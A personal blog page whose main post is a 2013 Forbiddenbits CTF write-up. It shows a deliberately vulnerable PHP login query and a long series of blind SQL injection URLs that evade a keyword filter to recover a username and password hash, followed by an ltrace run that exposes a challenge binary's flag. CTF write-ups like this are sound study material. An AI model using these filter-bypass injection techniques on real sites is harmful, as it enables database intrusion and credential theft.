Sun Nov 24 14:34:06 CET 2013

Download "Merci, professor" episodes

This entry talks about a aimple Perl script I wrote for downloading videos of the “Merci, Professeur !” french TV show. If you don't speak French, you're probably not interested in this blog entry.

--

Le site de TV5 monde étant assez peu confortable pour regarder les épisodes de l'émission « Merci, professeur ! », j'ai écrit un script Perl simple pour les télécharger. Pour l'utiliser, il vous faudra Perl, et le module WWW::Mechanize (pour l'installer : utilisez l'outil cpan, puis "install WWW::Mechanize")

Pour plus d'infos, cf. le dépôt github.


Posted by Perdu | Permanent link | File under: free_software, own_projects

Sunday 24 November 2013, 13:22:58 (UTC+0100)

Forbiddenbits CTF 2013 : MentOrpwn writeup (400)

Forbiddenbits CTF 2013 : MentOrpwn writeup (400)

Written by Célestin Matte (Perdu) on March 17th 2013

On March 16th a CTF was organized by forbiddenbits.net. I had a look at it with the Securimag team, and as I happened to break a 400 chall, here's the writeup.
It was pretty similar to a web chall at Nuit du Hack quals CTF, and this writeup helped me a lot.

First searches

First, you arrive on a webpage with the famous text from The Mentor and a funny wallpaper. Looking for backup files gives nothing, but there's an interesting line in robots.txt:

User-agent: *
Disallow: /4dm1n_1337_p0rt4l

The corresponding page is a login section, which will only be useful later. As the robots.txt file wasn't included in my backup file searching script yet, I didn't find it in the beginning anyway. I will come back to it later.

So my first guess was to check if the text actually corresponded to the Hacker Manifesto.

€ diff 1.txt 2.txt 
9c9
<         Mine is a world that begiins with school... I'm smarter than moost of
---
>         Mine is a world that begins with school... I'm smarter than most of
11c11
<         Damn underachiever.  They're all allike.
---
>         Damn underachiever.  They're all alike.
14c14
< for the fifteenth time hovw to reduce a fraction.  I understand it.  "No, Ms.
---
> for the fifteenth time how to reduce a fraction.  I understand it.  "No, Ms.
16c16
<         Damn kid.  Probabley copied it.  They're all alike.
---
>         Damn kid.  Probably copied it.  They're all alike.
32,33c32,33
< them, may never hear from themm again... I know you all...
<         Damn kid.  Tying up the phonee line again.  They're all alike...
---
> them, may never hear from them again... I know you all...
>         Damn kid.  Tying up the phone line again.  They're all alike...
35,37c35,37
<         You bett your ass we're all alike... we've been spoon-fed baby food at
< school when we hungered for steak... the bits of meaat that you did let slip
< through were pre-chewed and tasteless.  We've been data dominated by sadists, or
---
>         You bet your ass we're all alike... we've been spoon-fed baby food at
> school when we hungered for steak... the bits of meat that you did let slip
> through were pre-chewed and tasteless.  We've been dominated by sadists, or
57,58d56

As you can see, a letter is added on several lines, and even a whole word is added in the last line. These letters give: "ilvemetadata". I don't know what "ilve" was supposed to stand for (I'm told it's just "I love"), but "metadata" was pretty clear to me: I immediately checked the wallpaper binary code and found an interesting php code inside it:

<?php
include("config.php");
if(isset($_GET['id'])){
        $id = @$_GET['id'];
        $message="";
        $rm_trash = preg_replace('#\/\*.*\*\/#U',,$id); // written by genius don't try to understand
        if(!preg_match('#^[^0-9]#',$rm_trash))
        {
                // and you thought you can inject me ? haha
                if(!preg_match("#union|sub|lenght|case|convert|having|and|like|bench|sleep|mid|if|file|into|str|char|'|,#i", $rm_trash)){
                $req = mysql_query("SELECT * FROM users WHERE id=$rm_trash");
                if(@mysql_num_rows($req)!=0)
                        $message = "Sure, we have it in database";
                else
                        $message="Houston, we have a problem!";
                }
                else
                        $message="Houston, we have a filter!";
        }
}
?>

Seeing the wallpaper included in the css file made me think it could work on the front page, and giving an id GET parameter on it displayed what we wanted:

 http://88.190.221.115/?id=1
<div class="first_container">
  Sure, we have it in database</div>
<br />

I highly doubt this is a real include flaw as the css is separated from the php file (so I don't see how it could execute php code), but meh, it was certainly just a hint. Note that the style prevented the message from being readable in a regular browser, so you had to look at the source each time.

Injection

So, let's start the injection! There's a bunch of filters so it promises to be difficult/fun. The most painful ones are the "str" and the "like" ones. It makes it complicated to perform blind sql injections if you can't use substr() or LIKE. Fortunately, you can still compare strings with operators "=", ">" etc., so it's possible to make letter-by-letter dichotomy search. Note that MySQL uses dictionary-order comparison on strings, even if you write them in hexadecimal form. Therefore, all you can do is letter-by-letter dichotomy search, and not dichotomy search on the hex value of the string. You also can't send "AND", but that not a problem, as the "&&" syntax is accepted by MySQL. You just have to escape it so that php can handle it correctly: %26%26.

First, let's have a look at which DBMS it is.

http://88.190.221.115/?id=0 or 1=(select 1 from users where @@version>5 limit 1)
Sure, we have it in database
http://88.190.221.115/?id=0 or 1=(select 1 from users where @@version>6 limit 1)
Houston, we have a problem!

Thus, it's MySQL.

We have a table name but we don't know what the columns are. Let's go for them:

http://88.190.221.115/?id=0 or 1=(select 1 from information_schema.columns where table_name="users" %26%26 column_name>"U" limit 1)
OK
http://88.190.221.115/?id=0 or 1=(select 1 from information_schema.columns where table_name="users" %26%26 column_name>="V" limit 1)
NOK
http://88.190.221.115/?id=0 or 1=(select 1 from information_schema.columns where table_name="users" %26%26 column_name="U0" limit 1)
OK
...
http://88.190.221.115/?id=0 or 1=(select 1 from information_schema.columns where table_name="users" %26%26 column_name="USERN4ME" limit 1)
OK

So a table is "USERN4ME". Great, but that's not what we want. let's start again:

http://88.190.221.115/?id=0 or 1=(select 1 from information_schema.columns where table_name="users" %26%26 column_name<>"USERN4ME" %26%26 column_name>"P" limit 1)
...
http://88.190.221.115/?id=0 or 1=(select 1 from information_schema.columns where table_name="users" %26%26 column_name<>"USERN4ME" %26%26 column_name="P4SSWORD" limit 1)

Great ! We found earlier that one user had an id of 1. Let's juste check whether other users exist:

http://88.190.221.115/?id=0 or 1=(select 1 from users where id<>1 limit 1)
Houston, we have a problem!

Nop ! That makes it easier. Now, let's go for the password and username. To do this, you can use the same method as above but you have to be carefull about one point: by default, string comparison is case-insensitive. This may lead to surprizing behavior, as for example:

[...] USERN4ME > "TEH"
-> true
[...] USERN4ME <= "TEI"
-> false (string is TEHxx...x")
[...] USERN4ME > "TEHz"
-> true
[...] USERN4ME > "TEHz19 mars 2013 à 09:53 (CET)19 mars 2013 à 09:53 (CET)19 mars 2013 à 09:53 (CET)"
-> true (4th character is greater than z)
[...] USERN4ME >= "TEH{"
-> false ('{' is the character following 'z' in the ascii table)
=> Makes no sense.

Or, in hex:

[...] USERN4ME > 0x5465487AFFFFFFFFFFFFFFFFF...
but:
[...] USERN4ME < 0x5465487B

The problem is that we deal with non-alphanumerical characters, and MySQL tells you they're greater than 'z' when they're only greater than 'Z'. To avoid this, just use the BINARY keyword, which causes the string to be considered case-sensitive. Then, the query will be something like:

http://88.190.221.115/?id=0 or 1=(select 1 from users where BINARY USERN4ME>0x5465487A... limit 1)

With this method, we finally get:

  • username: teh_ment0r
  • password: FF8211A471051FD7F1BE4C0B5917B860

The flag is the password!! But wait, I only got 200/400 points :(

The password looks like a LM hash, but Ophcrack gives us no result. Actually, here's when the robots.txt form's comes into play. Using the previously found creds lead us to a new page with a useless form, but giving us some secret files' addresses:

  • One is index.php
  • One is useless (writes "secret stuff is secret")
  • One is a Vigenere ciphered text. Unciphering it after having validated the chall confirmed me it was useless: it was the introduction of gary MicKinnon's wikipedia page, with "find the flagXD" added in the end. (key: "forbidden")
  • One was a poorly protected binary.
A simple ltrace gave me the second flag:
€ ltrace ./7a5be0eb904442f6541dd736dedc0fee sdf
__libc_start_main(0x80484b4, 2, 0xffd98f04, 0x8048590, 0x8048600 <unfinished ...> 
strcat("ecd70ec847e6d0c7", "c73bd0900885cd16")                                      = "ecd70ec847e6d0c7c73bd0900885cd16"
strcmp("ecd70ec847e6d0c7c73bd0900885cd16", "sdf")                                   = -1
puts("Wrong password ! :(!"Wrong password ! :(!
)                                                                                   = 21
+++ exited (status 0) +++
€ ./7a5be0eb904442f6541dd736dedc0fee ecd70ec847e6d0c7c73bd0900885cd16
Success: post it as flag to get points!

400 points!

Conclusion

It was a great chall with various steps, and it was a good idea to put a flag in the middle. Otherwise, I would certainly have given up before the end. A sequel for this chall was added later, but unfortunately I didn't have the opportunity to have a look at it.

Perdu (Team Securimag)


Posted by Perdu | Permanent link | File under: security

Sunday 24 November 2013, 02:15:00 (UTC+0100)

Welcome to my blog!

Welcome to my blog!

This blog will mainly talk about security, system administration, or command-line tricks, i.e. how to have fun with the command-line (\o/).

At first I will mainly talk about command line tricks, because I accumulated some stuff I'd like to share over the last few months/years.

This blog will mainly be in English in order to reach a larger audience (most of its target audience speaks English anyway), but might occasionaly be in French, when talking about subjects relative to this country only.

After trying several blogging engines, my choice went on using nanoblogger, because it is extremly fast (static file only, my raspberry pi approves this) and really handy (everything is done from the command line, What Else?™). Unfortunately, it does not have a comments system by default (which makes sense for a static blog engine). For the moment, don't hesitate to send me an email if you have any comment: blog _at_ ploudseeker.com.

So, to come soon:

  • A nicer theme
  • comments system (maybe)
  • lots of articles

Have fun reading this blog!

-- Perdu

Posted by Perdu | Permanent link | File under: about